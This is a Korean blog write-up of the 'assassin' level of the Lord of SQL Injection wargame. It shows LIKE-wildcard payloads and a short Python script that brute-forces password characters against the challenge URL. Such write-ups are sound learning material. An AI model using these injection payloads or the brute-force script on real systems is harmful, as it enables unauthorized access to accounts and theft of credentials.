ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [LOS] 15. assassin 문제 풀이
    Wargame/LOS (Lord of SQL Injection) 2019. 7. 19. 03:11

    assassin

    이번 문제는 필터링되는 문자가 싱글 쿼터(')밖에 없다. 이 싱글 쿼터(')를 우회해서 id가 admin이 되도록 조작할까 싶었지만, 아쉽게도 이 문제에서는 싱글 쿼터(')를 우회할 수 있는 방법이 없었다.

     

    그런데 쿼리문에서 pw를 비교할 때 등호가 아닌 LIKE가 사용된 것이 걸린다. LIKE는 pw의 일부만 같아도 true를 반환하기 때문에, admin의 pw를 한 글자만 알아내도 LIKE에 의해 전체 쿼리문이 참이 되어 admin을 select할 수 있게 된다.

     

    LIKE 구문에서 사용하는 특수 문자 중에는 %가 있다. %는 0개 이상의 문자를 의미한다. 따라서 만약 pw LIKE "a%" 라는 쿼리문을 실행했을 때, pw의 맨 첫 번째 문자가 a면 true, 아니면 false를 반환한다.

     

    %를 이용해서 admin의 pw에 포함된 문자열을 찾아보았다. 만약 admin의 pw에 포함된 문자열이 걸리면 Hello admin이 출력될 것이고, guest의 pw에 포함된 문자열이 걸리면 Hello guest가 출력될 것이다.

     

    pw=%d%

     

     

    일일이 입력하기 귀찮아서 자동화 프로그램을 사용하였다. 그런데 Hello admin으로 하면 전혀 결과가 나오지 않아서, 일단 Hello guest가 출력될 때로 조건을 바꾸고 guest의 pw에 포함된 문자열을 찾아보았다.

     

    자동화 프로그램은 아래 코드를 참조하자.

    ...더보기

    import re, urllib, urllib2
    
    pw=""
    ssid = "본인의 세션 아이디"
    print("find pw")
    
    for j in range(48, 123):
        url = 'https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?'
        url += "pw=%"+chr(j)+"%"
        req=urllib2.Request(url) # send request
        req.add_header('Cookie',"PHPSESSID=%s" % ssid)
        read = urllib2.urlopen(req).read()
    
        if "Hello guest" in read:
            pw += chr(j)
            print ("pw: " + pw)
    
    print ("Fin")

     

    찾아보았더니 아래와 같은 결과가 나왔다.

    id=guest

    즉, guest의 pw에는 0, 1, 2, 9, D, E, F, _, d, e, f 문자열이 포함되어 있음을 알 수 있다. 그런데 Hello admin이 출력되는 문자가 하나도 안나오는 것으로 보아, guest의 pw와 admin의 pw가 같은 문자로만 이루어져 있지만 guest가 admin보다 DB의 윗부분에 존재해서 guest가 select되는 것 같다.

     

    그래서 방금 찾은 guest의 pw를 이루는 문자들의 조합을 달리해서 다시 검색을 해보았더니 Hello admin이 출력되었다.

     

    pw=%e%f%

     

    ASSASSIN Clear!

Designed by Tistory.